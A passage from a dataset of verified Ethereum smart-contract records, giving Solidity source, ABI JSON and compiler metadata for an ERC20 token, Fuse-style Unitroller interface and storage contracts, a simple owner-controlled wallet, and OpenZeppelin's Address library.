:"round","type":"uint256"}],"name":"totalWhitelist","outputs":[{"internalType":"uint256","name":"total","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newAdmin","type":"address"}],"name":"transferAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"unclaimedInfos","outputs":[{"internalType":"uint256","name":"count","type":"uint256"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"unclaimedInfosDetails","outputs":[{"internalType":"uint256[]","name":"_rounds","type":"uint256[]"},{"internalType":"uint256[]","name":"_amounts","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"userClaimedAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.8.4+commit.c7e474f2 | true | 200 | 0000000000000000000000001b481bca7156e990e2d90d1ec556d929340e9fc300000000000000000000000000000000000000000000000000000000000007d0 | Default | false | ||||
ERC20Standard | ERC20Standard.sol | 0x9345c4e17e71586c49bb15f86e7b4126e70f408a | Solidity | pragma solidity ^0.4.11;
// 以太坊企业服务，请访问 https://www.94eth.com/tool
contract ERC20Standard {
uint256 public totalSupply;
string public name;
uint256 public decimals;
string public symbol;
address public owner;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
constructor(uint256 _totalSupply, string _symbol, string _name, uint256 _decimals) public {
symbol = _symbol;
name = _name;
decimals = _decimals;
owner = msg.sender;
totalSupply = _totalSupply * (10 ** decimals);
balances[owner] = totalSupply;
}
//Fix for short address attack against ERC20
modifier onlyPayloadSize(uint size) {
assert(msg.data.length == size + 4);
_;
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
function transfer(address _recipient, uint256 _value) onlyPayloadSize(2*32) public {
require(balances[msg.sender] >= _value && _value >= 0);
require(balances[_recipient] + _value >= balances[_recipient]);
balances[msg.sender] -= _value;
balances[_recipient] += _value;
emit Transfer(msg.sender, _recipient, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public {
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value >= 0);
require(balances[_to] + _value >= balances[_to]);
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
//Event which is triggered to log all transfers to this contract's event log
event Transfer(
address indexed _from,
address indexed _to,
uint256 _value
);
//Event which is triggered whenever an owner approves a new allowance for a spender.
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _value
);
} | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_recipient","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"_totalSupply","type":"uint256"},{"name":"_symbol","type":"string"},{"name":"_name","type":"string"},{"name":"_decimals","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_owner","type":"address"},{"indexed":true,"name":"_spender","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Approval","type":"event"}] | v0.4.25+commit.59dbf8f1 | true | 200 | 0000000000000000000000000000000000000000000000000000000000989680000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000000034646540000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d46697265466f7820546f6b656e00000000000000000000000000000000000000 | Default | false | bzzr://76282fd9412d4ad5259ebe1b2ec80f239be138e156606006879efe89f9a0a45e |
|||
Unitroller | ComptrollerInterface.sol | 0xfd7a715dfbcabdf8264036790aab0737848b84d2 | Solidity | pragma solidity ^0.5.16;
contract ComptrollerInterface {
/// @notice Indicator that this is a Comptroller contract (for inspection)
bool public constant isComptroller = true;
/*** Assets You Are In ***/
function enterMarkets(address[] calldata cTokens) external returns (uint[] memory);
function exitMarket(address cToken) external returns (uint);
/*** Policy Hooks ***/
function mintAllowed(address cToken, address minter, uint mintAmount) external returns (uint);
function mintWithinLimits(address cToken, uint exchangeRateMantissa, uint accountTokens, uint mintAmount) external returns (uint);
function mintVerify(address cToken, address minter, uint mintAmount, uint mintTokens) external;
function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external returns (uint);
function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external;
function borrowAllowed(address cToken, address borrower, uint borrowAmount) external returns (uint);
function borrowWithinLimits(address cToken, uint accountBorrowsNew) external returns (uint);
function borrowVerify(address cToken, address borrower, uint borrowAmount) external;
function repayBorrowAllowed(
address cToken,
address payer,
address borrower,
uint repayAmount) external returns (uint);
function repayBorrowVerify(
address cToken,
address payer,
address borrower,
uint repayAmount,
uint borrowerIndex) external;
function liquidateBorrowAllowed(
address cTokenBorrowed,
address cTokenCollateral,
address liquidator,
address borrower,
uint repayAmount) external returns (uint);
function liquidateBorrowVerify(
address cTokenBorrowed,
address cTokenCollateral,
address liquidator,
address borrower,
uint repayAmount,
uint seizeTokens) external;
function seizeAllowed(
address cTokenCollateral,
address cTokenBorrowed,
address liquidator,
address borrower,
uint seizeTokens) external returns (uint);
function seizeVerify(
address cTokenCollateral,
address cTokenBorrowed,
address liquidator,
address borrower,
uint seizeTokens) external;
function transferAllowed(address cToken, address src, address dst, uint transferTokens) external returns (uint);
function transferVerify(address cToken, address src, address dst, uint transferTokens) external;
/*** Liquidity/Liquidation Calculations ***/
function liquidateCalculateSeizeTokens(
address cTokenBorrowed,
address cTokenCollateral,
uint repayAmount) external view returns (uint, uint);
/*** Pool-Wide/Cross-Asset Reentrancy Prevention ***/
function _beforeNonReentrant() external;
function _afterNonReentrant() external;
} | [{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"hasRights","type":"bool"}],"name":"AdminRightsToggled","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"error","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"info","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"detail","type":"uint256"}],"name":"Failure","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"hasRights","type":"bool"}],"name":"FuseAdminRightsToggled","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"oldAdmin","type":"address"},{"indexed":false,"internalType":"address","name":"newAdmin","type":"address"}],"name":"NewAdmin","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"oldImplementation","type":"address"},{"indexed":false,"internalType":"address","name":"newImplementation","type":"address"}],"name":"NewImplementation","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"oldPendingAdmin","type":"address"},{"indexed":false,"internalType":"address","name":"newPendingAdmin","type":"address"}],"name":"NewPendingAdmin","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"oldPendingImplementation","type":"address"},{"indexed":false,"internalType":"address","name":"newPendingImplementation","type":"address"}],"name":"NewPendingImplementation","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":false,"inputs":[],"name":"_acceptAdmin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"_acceptImplementation","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"newPendingAdmin","type":"address"}],"name":"_setPendingAdmin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"newPendingImplementation","type":"address"}],"name":"_setPendingImplementation","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"bool","name":"hasRights","type":"bool"}],"name":"_toggleAdminRights","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"bool","name":"hasRights","type":"bool"}],"name":"_toggleFuseAdminRights","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"admin","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"adminHasRights","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"comptrollerImplementation","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"fuseAdminHasRights","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"pendingAdmin","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"pendingComptrollerImplementation","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"}] | v0.5.17+commit.d19bba13 | true | 200 | Default | BSD-3-Clause | false | bzzr://a5cf9491a370c17ee98b3c08c728cc0ddad83bd43ca76c92dc106835bfccb256 |
|||
Unitroller | ComptrollerStorage.sol | 0xfd7a715dfbcabdf8264036790aab0737848b84d2 | Solidity | pragma solidity ^0.5.16;
import "./IFuseFeeDistributor.sol";
import "./CToken.sol";
import "./PriceOracle.sol";
contract UnitrollerAdminStorage {
/**
* @notice Administrator for Fuse
*/
IFuseFeeDistributor internal constant fuseAdmin = IFuseFeeDistributor(0xa731585ab05fC9f83555cf9Bff8F58ee94e18F85);
/**
* @notice Administrator for this contract
*/
address public admin;
/**
* @notice Pending administrator for this contract
*/
address public pendingAdmin;
/**
* @notice Whether or not the Fuse admin has admin rights
*/
bool public fuseAdminHasRights = true;
/**
* @notice Whether or not the admin has admin rights
*/
bool public adminHasRights = true;
/**
* @notice Returns a boolean indicating if the sender has admin rights
*/
function hasAdminRights() internal view returns (bool) {
return (msg.sender == admin && adminHasRights) || (msg.sender == address(fuseAdmin) && fuseAdminHasRights);
}
/**
* @notice Active brains of Unitroller
*/
address public comptrollerImplementation;
/**
* @notice Pending brains of Unitroller
*/
address public pendingComptrollerImplementation;
}
contract ComptrollerV1Storage is UnitrollerAdminStorage {
/**
* @notice Oracle which gives the price of any given asset
*/
PriceOracle public oracle;
/**
* @notice Multiplier used to calculate the maximum repayAmount when liquidating a borrow
*/
uint public closeFactorMantissa;
/**
* @notice Multiplier representing the discount on collateral that a liquidator receives
*/
uint public liquidationIncentiveMantissa;
/**
* @notice UNUSED AFTER UPGRADE: Max number of assets a single account can participate in (borrow or use as collateral)
*/
uint internal maxAssets;
/**
* @notice Per-account mapping of "assets you are in", capped by maxAssets
*/
mapping(address => CToken[]) public accountAssets;
}
contract ComptrollerV2Storage is ComptrollerV1Storage {
struct Market {
/**
* @notice Whether or not this market is listed
*/
bool isListed;
/**
* @notice Multiplier representing the most one can borrow against their collateral in this market.
* For instance, 0.9 to allow borrowing 90% of collateral value.
* Must be between 0 and 1, and stored as a mantissa.
*/
uint collateralFactorMantissa;
/**
* @notice Per-market mapping of "accounts in this asset"
*/
mapping(address => bool) accountMembership;
}
/**
* @notice Official mapping of cTokens -> Market metadata
* @dev Used e.g. to determine if a market is supported
*/
mapping(address => Market) public markets;
/// @notice A list of all markets
CToken[] public allMarkets;
/**
* @dev Maps borrowers to booleans indicating if they have entered any markets
*/
mapping(address => bool) internal borrowers;
/// @notice A list of all borrowers who have entered markets
address[] public allBorrowers;
/// @notice Indexes of borrower account addresses in the `allBorrowers` array
mapping(address => uint256) internal borrowerIndexes;
/**
* @dev Maps suppliers to booleans indicating if they have ever supplied to any markets
*/
mapping(address => bool) public suppliers;
/// @notice All cTokens addresses mapped by their underlying token addresses
mapping(address => CToken) public cTokensByUnderlying;
/// @notice Whether or not the supplier whitelist is enforced
bool public enforceWhitelist;
/// @notice Maps addresses to booleans indicating if they are allowed to supply assets (i.e., mint cTokens)
mapping(address => bool) public whitelist;
/// @notice An array of all whitelisted accounts
address[] public whitelistArray;
/// @notice Indexes of account addresses in the `whitelistArray` array
mapping(address => uint256) internal whitelistIndexes;
/**
* @notice The Pause Guardian can pause certain actions as a safety mechanism.
* Actions which allow users to remove their own assets cannot be paused.
* Liquidation / seizing / transfer can only be paused globally, not by market.
*/
address public pauseGuardian;
bool public _mintGuardianPaused;
bool public _borrowGuardianPaused;
bool public transferGuardianPaused;
bool public seizeGuardianPaused;
mapping(address => bool) public mintGuardianPaused;
mapping(address => bool) public borrowGuardianPaused;
}
contract ComptrollerV3Storage is ComptrollerV2Storage {
/**
* @dev Whether or not the implementation should be auto-upgraded.
*/
bool public autoImplementation;
/// @notice The borrowCapGuardian can set borrowCaps to any number for any market. Lowering the borrow cap could disable borrowing on the given market.
address public borrowCapGuardian;
/// @notice Borrow caps enforced by borrowAllowed for each cToken address. Defaults to zero which corresponds to unlimited borrowing.
mapping(address => uint) public borrowCaps;
/// @notice Supply caps enforced by mintAllowed for each cToken address. Defaults to zero which corresponds to unlimited supplying.
mapping(address => uint) public supplyCaps;
/// @notice RewardsDistributor contracts to notify of flywheel changes.
address[] public rewardsDistributors;
/// @dev Guard variable for pool-wide/cross-asset re-entrancy checks
bool internal _notEntered;
/// @dev Whether or not _notEntered has been initialized
bool internal _notEnteredInitialized;
} | [{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"hasRights","type":"bool"}],"name":"AdminRightsToggled","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"error","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"info","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"detail","type":"uint256"}],"name":"Failure","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"hasRights","type":"bool"}],"name":"FuseAdminRightsToggled","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"oldAdmin","type":"address"},{"indexed":false,"internalType":"address","name":"newAdmin","type":"address"}],"name":"NewAdmin","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"oldImplementation","type":"address"},{"indexed":false,"internalType":"address","name":"newImplementation","type":"address"}],"name":"NewImplementation","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"oldPendingAdmin","type":"address"},{"indexed":false,"internalType":"address","name":"newPendingAdmin","type":"address"}],"name":"NewPendingAdmin","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"oldPendingImplementation","type":"address"},{"indexed":false,"internalType":"address","name":"newPendingImplementation","type":"address"}],"name":"NewPendingImplementation","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":false,"inputs":[],"name":"_acceptAdmin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"_acceptImplementation","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"newPendingAdmin","type":"address"}],"name":"_setPendingAdmin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"newPendingImplementation","type":"address"}],"name":"_setPendingImplementation","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"bool","name":"hasRights","type":"bool"}],"name":"_toggleAdminRights","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"bool","name":"hasRights","type":"bool"}],"name":"_toggleFuseAdminRights","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"admin","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"adminHasRights","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"comptrollerImplementation","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"fuseAdminHasRights","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"pendingAdmin","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"pendingComptrollerImplementation","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"}] | v0.5.17+commit.d19bba13 | true | 200 | Default | BSD-3-Clause | false | bzzr://a5cf9491a370c17ee98b3c08c728cc0ddad83bd43ca76c92dc106835bfccb256 |
|||
Unitroller | IFuseFeeDistributor.sol | 0xfd7a715dfbcabdf8264036790aab0737848b84d2 | Solidity | pragma solidity ^0.5.16;
interface IFuseFeeDistributor {
function minBorrowEth() external view returns (uint256);
function maxSupplyEth() external view returns (uint256);
function maxUtilizationRate() external view returns (uint256);
function interestFeeRate() external view returns (uint256);
function comptrollerImplementationWhitelist(address oldImplementation, address newImplementation) external view returns (bool);
function cErc20DelegateWhitelist(address oldImplementation, address newImplementation, bool allowResign) external view returns (bool);
function cEtherDelegateWhitelist(address oldImplementation, address newImplementation, bool allowResign) external view returns (bool);
function latestComptrollerImplementation(address oldImplementation) external view returns (address);
function latestCErc20Delegate(address oldImplementation) external view returns (address cErc20Delegate, bool allowResign, bytes memory becomeImplementationData);
function latestCEtherDelegate(address oldImplementation) external view returns (address cEtherDelegate, bool allowResign, bytes memory becomeImplementationData);
function deployCEther(bytes calldata constructorData) external returns (address);
function deployCErc20(bytes calldata constructorData) external returns (address);
function () external payable;
} | [{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"hasRights","type":"bool"}],"name":"AdminRightsToggled","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"error","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"info","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"detail","type":"uint256"}],"name":"Failure","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"hasRights","type":"bool"}],"name":"FuseAdminRightsToggled","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"oldAdmin","type":"address"},{"indexed":false,"internalType":"address","name":"newAdmin","type":"address"}],"name":"NewAdmin","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"oldImplementation","type":"address"},{"indexed":false,"internalType":"address","name":"newImplementation","type":"address"}],"name":"NewImplementation","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"oldPendingAdmin","type":"address"},{"indexed":false,"internalType":"address","name":"newPendingAdmin","type":"address"}],"name":"NewPendingAdmin","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"oldPendingImplementation","type":"address"},{"indexed":false,"internalType":"address","name":"newPendingImplementation","type":"address"}],"name":"NewPendingImplementation","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":false,"inputs":[],"name":"_acceptAdmin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"_acceptImplementation","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"newPendingAdmin","type":"address"}],"name":"_setPendingAdmin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"newPendingImplementation","type":"address"}],"name":"_setPendingImplementation","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"bool","name":"hasRights","type":"bool"}],"name":"_toggleAdminRights","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"bool","name":"hasRights","type":"bool"}],"name":"_toggleFuseAdminRights","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"admin","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"adminHasRights","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"comptrollerImplementation","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"fuseAdminHasRights","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"pendingAdmin","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"pendingComptrollerImplementation","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"}] | v0.5.17+commit.d19bba13 | true | 200 | Default | BSD-3-Clause | false | bzzr://a5cf9491a370c17ee98b3c08c728cc0ddad83bd43ca76c92dc106835bfccb256 |
|||
Wallet | Wallet.sol | 0x1ea89202374dbdaba560d5a29f1e010807e98a43 | Solidity | /**
* Verified by 3esmit
*/
pragma solidity ^0.4.13;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract Wallet {
address owner;
function Wallet() {
owner = msg.sender;
}
function changeOwner(address _owner) returns (bool) {
require(owner == msg.sender);
owner = _owner;
return true;
}
function transfer(address _to, uint _value) returns (bool) {
require(owner == msg.sender);
require(_value <= this.balance);
_to.transfer(_value);
return true;
}
function transferToken(address _token, address _to, uint _value) returns (bool) {
require(owner == msg.sender);
BasicToken token = BasicToken(_token);
require(_value <= token.balanceOf(this));
token.transfer(_to, _value);
return true;
}
function () payable {}
function tokenFallback(address _from, uint _value, bytes _data) {
(_from); (_value); (_data);
}
} | [{"constant":false,"inputs":[{"name":"_owner","type":"address"}],"name":"changeOwner","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_value","type":"uint256"},{"name":"_data","type":"bytes"}],"name":"tokenFallback","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_token","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferToken","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"inputs":[],"payable":false,"type":"constructor"},{"payable":true,"type":"fallback"}] | v0.4.14+commit.c2215d46 | true | 200 | Default | None | false | bzzr://dbf709d6da55a39f83d69d90dc5090249ad9e6d26add0043cfdda954df1c8909 |
|||
ERC20Token | openzeppelin-solidity/contracts/utils/Address.sol | 0xa461913bc78362915b91c06d1443e39c8d75ca4e | Solidity | /**
* @dev Collection of functions related to the address type,
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* > It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
} | 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name":"addOperator","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"account","type":"address"}],"name":"isMinter","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"account","type":"address"}],"name":"removeOperator","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"builtOn","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"value","type":"uint256"},{"name":"data","type":"bytes"}],"name":"transferFromAndCall","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"value","type":"uint256"},{"name":"data","type":"bytes"}],"name":"approveAndCall","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"value","type":"uint256"}],"name":"transferFromAndCall","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"owner","type":"address"},{"name":"spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"